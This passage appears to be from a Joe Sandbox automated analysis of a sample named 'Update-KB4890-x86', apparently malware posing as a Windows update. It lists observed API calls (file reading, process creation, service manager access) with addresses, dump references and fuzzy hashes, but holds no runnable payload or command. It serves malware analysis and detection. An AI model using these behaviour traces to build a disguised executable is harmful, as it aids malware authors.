                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0041DFAE
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041DFBB
                                                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041DFE0
                                                                    • CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E013
                                                                    • CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E024
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041E02F
                                                                    • HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0041E032
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandleHeap$File$Process$AllocCreateFreeReadSize
                                                                    • String ID:
                                                                    • API String ID: 851827180-0
                                                                    • Opcode ID: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
                                                                    • Instruction ID: e2e57060ce1e7308e866bc93ed0c156a6316686fabef653f62ff15feab7bbeed
                                                                    • Opcode Fuzzy Hash: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
                                                                    • Instruction Fuzzy Hash: 124191753052109FD7208F69EC85BB67BE8EB8A721F10143AF581C72A1D7B594478B2D
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(?), ref: 0041AD0A
                                                                      • Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
                                                                      • Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectOverlappedResultSingleWaitlstrlen
                                                                    • String ID: #$&$($/$5$@$`$c$e$n
                                                                    • API String ID: 1203007601-276966957
                                                                    • Opcode ID: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
                                                                    • Instruction ID: 40db77f959c89022b5c68d7f606fb1fae4f3f0c1390896a0b38eb06e05df56be
                                                                    • Opcode Fuzzy Hash: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
                                                                    • Instruction Fuzzy Hash: 0A31A17210C3C18AD311DA28D80479BBBD59BD6318F044A6EF5D48B2D2D7B99658C3EB
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000080,00000000,?), ref: 004156BD
                                                                    • CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 004156DE
                                                                    • CloseHandle.KERNEL32(00000000), ref: 004156EF
                                                                    • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,75568A60), ref: 00415717
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041573C
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00415763
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseFileHandle$Create$MappingView
                                                                    • String ID:
                                                                    • API String ID: 3943831188-0
                                                                    • Opcode ID: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
                                                                    • Instruction ID: eb472704c8537460521009dc0dce809b9dfd64f6dddd53decf9b69cebded8fb2
                                                                    • Opcode Fuzzy Hash: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
                                                                    • Instruction Fuzzy Hash: 97513D352043909BD321EB3AEC927DBBBD5ABCA310F54543AE9C4973B2C6B69405CB1D
                                                                    APIs
                                                                    • CloseHandle.KERNEL32(?,?,00000001), ref: 00414F58
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00414F96
                                                                    • CloseHandle.KERNEL32(?), ref: 00414FA6
                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414FB7
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00414FBA
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00414FD2
                                                                    • HeapFree.KERNEL32(00000000), ref: 00414FDB
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00414FE4
                                                                    • HeapFree.KERNEL32(00000000), ref: 00414FE7
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$CloseHandle$FreeObjectProcessSingleWait
                                                                    • String ID:
                                                                    • API String ID: 2579758194-0
                                                                    • Opcode ID: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
                                                                    • Instruction ID: 966a43781993c991ec9a06a83fdc448c25b6a2ab2b61fe85e3c188c58705bdba
                                                                    • Opcode Fuzzy Hash: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
                                                                    • Instruction Fuzzy Hash: EB21A2351083809BC225EB69DC41BABBBE8AFD9714F44161EE5A8433D1CB746805CB2B
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,00000000), ref: 0040B13C
                                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
                                                                    • ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
                                                                    • ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040B2DF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$Read$CloseCreateHandlePointer
                                                                    • String ID:
                                                                    • API String ID: 3856724686-3916222277
                                                                    • Opcode ID: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
                                                                    • Instruction ID: f9615a2b2c25ec5e1afef60f4e7c90419b410b37da83d95b541e47871ec683b4
                                                                    • Opcode Fuzzy Hash: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
                                                                    • Instruction Fuzzy Hash: 1651B271E00218EBDB24DBA5DD85BAEB7B8FF44710F10052EE502B72D1D778A941CBA9
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920
                                                                    • lstrcatA.KERNEL32(?,0042E3F8), ref: 00412939
                                                                    • lstrcatA.KERNEL32(?,?), ref: 0041294B
                                                                    • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00412989
                                                                    • CloseHandle.KERNEL32(?), ref: 00412994
                                                                    • CloseHandle.KERNEL32(?), ref: 0041299B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandlelstrcat$CreateEnvironmentExpandProcessStrings
                                                                    • String ID: D
                                                                    • API String ID: 249013821-2746444292
                                                                    • Opcode ID: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
                                                                    • Instruction ID: 1d206c3ebca1a40486939c7928fd3c0a5193cdd2c06ff6f9138d119af16f5955
                                                                    • Opcode Fuzzy Hash: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
                                                                    • Instruction Fuzzy Hash: 74315E7610C3845BD321AB29A494BEBFBE9AFD6218F288DBDD5C4C3243D6718409CB57
                                                                    APIs
                                                                    • GetCPInfo.KERNEL32(00000000,?,0042F660,00000038,0042B6ED,?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020), ref: 0042C933
                                                                    • GetCPInfo.KERNEL32(00000000,00000001), ref: 0042C946
                                                                    • _strlen.LIBCMT ref: 0042C96A
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,0042B335,?,00000000,00000000), ref: 0042C98B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Info$ByteCharMultiWide_strlen
                                                                    • String ID:
                                                                    • API String ID: 1335377746-0
                                                                    • Opcode ID: e7eae73510b1a6f52b71c388bc37a5b4cf69bb84f4117bde77e4d4d51f61c10f
                                                                    • Instruction ID: 1cbf8f742c718ae3e0944b330c4ad140625f126a7c77b4e5641174acd2f5a51b
                                                                    • Opcode Fuzzy Hash: e7eae73510b1a6f52b71c388bc37a5b4cf69bb84f4117bde77e4d4d51f61c10f
                                                                    • Instruction Fuzzy Hash: 36517F70A01229ABCB20DF96ED85AAF7BB9EF44750FA4011BF415A2250D7354941CB68
                                                                    APIs
                                                                    • GetEnvironmentStringsW.KERNEL32(75570A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA45
                                                                    • GetLastError.KERNEL32(?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA59
                                                                    • GetEnvironmentStringsW.KERNEL32(75570A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA7B
                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,75570A60,00000000,?,?,?,?,00425EA6), ref: 0042AAAF
                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAD1
                                                                    • FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAEA
                                                                    • GetEnvironmentStrings.KERNEL32(75570A60,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AB00
                                                                    • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0042AB3C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
                                                                    • String ID:
                                                                    • API String ID: 883850110-0
                                                                    • Opcode ID: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
                                                                    • Instruction ID: 46c70b45b6b314e6cb2813fa54a0f67757c5fcac65bc45981b8617f7325219ec
                                                                    • Opcode Fuzzy Hash: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
                                                                    • Instruction Fuzzy Hash: B231E6727042356FDB206F797E8483BBA9DEF55354795083BFE41C3200E5699CA1C2AB
                                                                    APIs
                                                                    • GetStartupInfoA.KERNEL32(?), ref: 0042ABA8
                                                                    • GetFileType.KERNEL32(?), ref: 0042AC52
                                                                    • GetStdHandle.KERNEL32(-000000F6), ref: 0042ACD3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: FileHandleInfoStartupType
                                                                    • String ID: d'C
                                                                    • API String ID: 2461013171-2240747681
                                                                    • Opcode ID: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
                                                                    • Instruction ID: b91d51b33192239ebbe76f0b008aa2615b8e70416bf349f0ebea2a7c65bc7c7e
                                                                    • Opcode Fuzzy Hash: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
                                                                    • Instruction Fuzzy Hash: 2851F3713047218FD720CF29E9847227BE4FB11325FA4466ED9A6CB2E2D778D425C70A
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000,?,?,?,0040B501,00000000,00000000,00000000), ref: 0040769F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CreateFile
                                                                    • String ID:
                                                                    • API String ID: 823142352-0
                                                                    • Opcode ID: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
                                                                    • Instruction ID: 9a062db39f6a5f139ad70d347d9c9746101c966207b1449d83cde9679a236ffa
                                                                    • Opcode Fuzzy Hash: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
                                                                    • Instruction Fuzzy Hash: 18315CB2608300AFD350DF29DC81F9AB7E8BB88714F50493AF245D6290D7B4E945CB9A
                                                                    APIs
                                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00431C98,0042051B,?,00431CEC), ref: 0041EFAA
                                                                    • GetLastError.KERNEL32 ref: 0041EFB6
                                                                    • OpenServiceA.ADVAPI32(00000000,000000EF,00000004), ref: 0041EFD0
                                                                    • GetLastError.KERNEL32 ref: 0041EFDA
                                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 0041EFE7
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLastOpenService$CloseHandleManager
                                                                    • String ID:
                                                                    • API String ID: 48634454-0
                                                                    • Opcode ID: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
                                                                    • Instruction ID: 89dee9bad4ab5eec4a1989d4adc2e41a6cfd6003cc042db67122dc7d02015971
                                                                    • Opcode Fuzzy Hash: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
                                                                    • Instruction Fuzzy Hash: BEF03136205220AFD361AB66DC08F8BB7E4EFA5350F518426FA409B250C7B49843CBA5
                                                                    APIs
                                                                    • GetStringTypeW.KERNEL32(00000001,0042EB1C,00000001,?,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B58E
                                                                    • GetLastError.KERNEL32 ref: 0042B5A0
                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B602
